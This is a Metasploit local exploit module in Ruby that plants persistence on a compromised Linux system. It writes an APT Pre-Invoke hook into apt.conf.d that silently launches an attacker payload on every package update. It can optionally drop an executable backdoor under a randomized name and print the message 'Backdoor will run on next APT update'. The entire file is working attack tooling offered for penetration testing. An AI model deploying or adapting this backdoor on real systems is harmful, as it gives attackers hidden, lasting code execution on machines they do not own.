Files

114 lines
4.5 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Post::Linux::System
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/linux/local/apt_package_manager_persistence'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'APT Package Manager Persistence',
'Description' => %q{
This module will run a payload when the APT package manager is used.
This module creates a pre-invoke hook for APT in apt.conf.d. Write access
to the apt.conf.d directory is required, typically requiring root access.
The hook name is randomized if not specified.
Verified on Ubuntu 22.04
},
'License' => MSF_LICENSE,
'Author' => ['Aaron Ringo'],
'Platform' => ['linux', 'unix'],
'Arch' => [
ARCH_CMD,
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => ['shell', 'meterpreter'],
'DisclosureDate' => '1999-03-09', # Date APT package manager was included in Debian
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
['URL', 'https://unix.stackexchange.com/questions/204414/how-to-run-a-command-before-download-with-apt-get'],
],
'Targets' => [['Automatic', {}]],
'Privileged' => true,
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_options(
[
OptString.new('HOOKNAME', [false, 'Name of hook file to write']),
OptString.new('PAYLOAD_NAME', [false, 'Name of binary to write']),
OptString.new('HOOKPATH', [true, 'The directory where the apt configurations are located', '/etc/apt/apt.conf.d/'])
]
)
end
def check
return CheckCode::Safe('apt-get not found, likely not an apt based system') unless command_exists?('apt-get')
return CheckCode::Safe("#{datastore['HOOKPATH']} not found") unless exists?(datastore['HOOKPATH'])
return CheckCode::Safe("#{datastore['HOOKPATH']} not writable") unless writable?(datastore['HOOKPATH'])
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
return CheckCode::Safe("#{writable_dir} not found") unless exists?(writable_dir)
return CheckCode::Safe("#{writable_dir} not writable") unless writable?(writable_dir)
CheckCode::Appears("#{datastore['HOOKPATH']} and #{writable_dir} are writable, also found apt-get.")
end
def install_persistence
fail_with Failure::BadConfig, "#{datastore['HOOKPATH']} not writable, or APT is not on system" unless writable?(datastore['HOOKPATH'])
hook_path = datastore['HOOKPATH']
hook_path << (datastore['HOOKNAME'] || "#{rand_text_numeric(2)}#{rand_text_alpha(5..8)}")
if payload.arch.first == 'cmd'
hook_script = %(APT::Update::Pre-Invoke {"setsid #{payload.encoded} 2>/dev/null &"};)
else
payload_path = writable_dir
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
payload_path << payload_name
write_file(payload_path, generate_payload_exe)
fail_with Failure::Unknown, "Failed to write #{payload_path}" unless exist?(payload_path)
print_status("Backdoor uploaded #{payload_path}")
# permissions chosen to reflect common perms in /usr/local/bin/
chmod(payload_path, 0o755)
print_status('Attempting to write hook')
hook_script = %(APT::Update::Pre-Invoke {"setsid #{payload_path} 2>/dev/null &"};)
@clean_up_rc << "rm #{payload_path}\n"
end
write_file(datastore['HOOKPATH'], hook_script)
fail_with Failure::Unknown, 'Failed to write Hook' unless exist?(datastore['HOOKPATH'])
print_status("Wrote #{datastore['HOOKPATH']}")
print_good('Backdoor will run on next APT update')
@clean_up_rc << "rm #{datastore['HOOKPATH']}\n"
end
end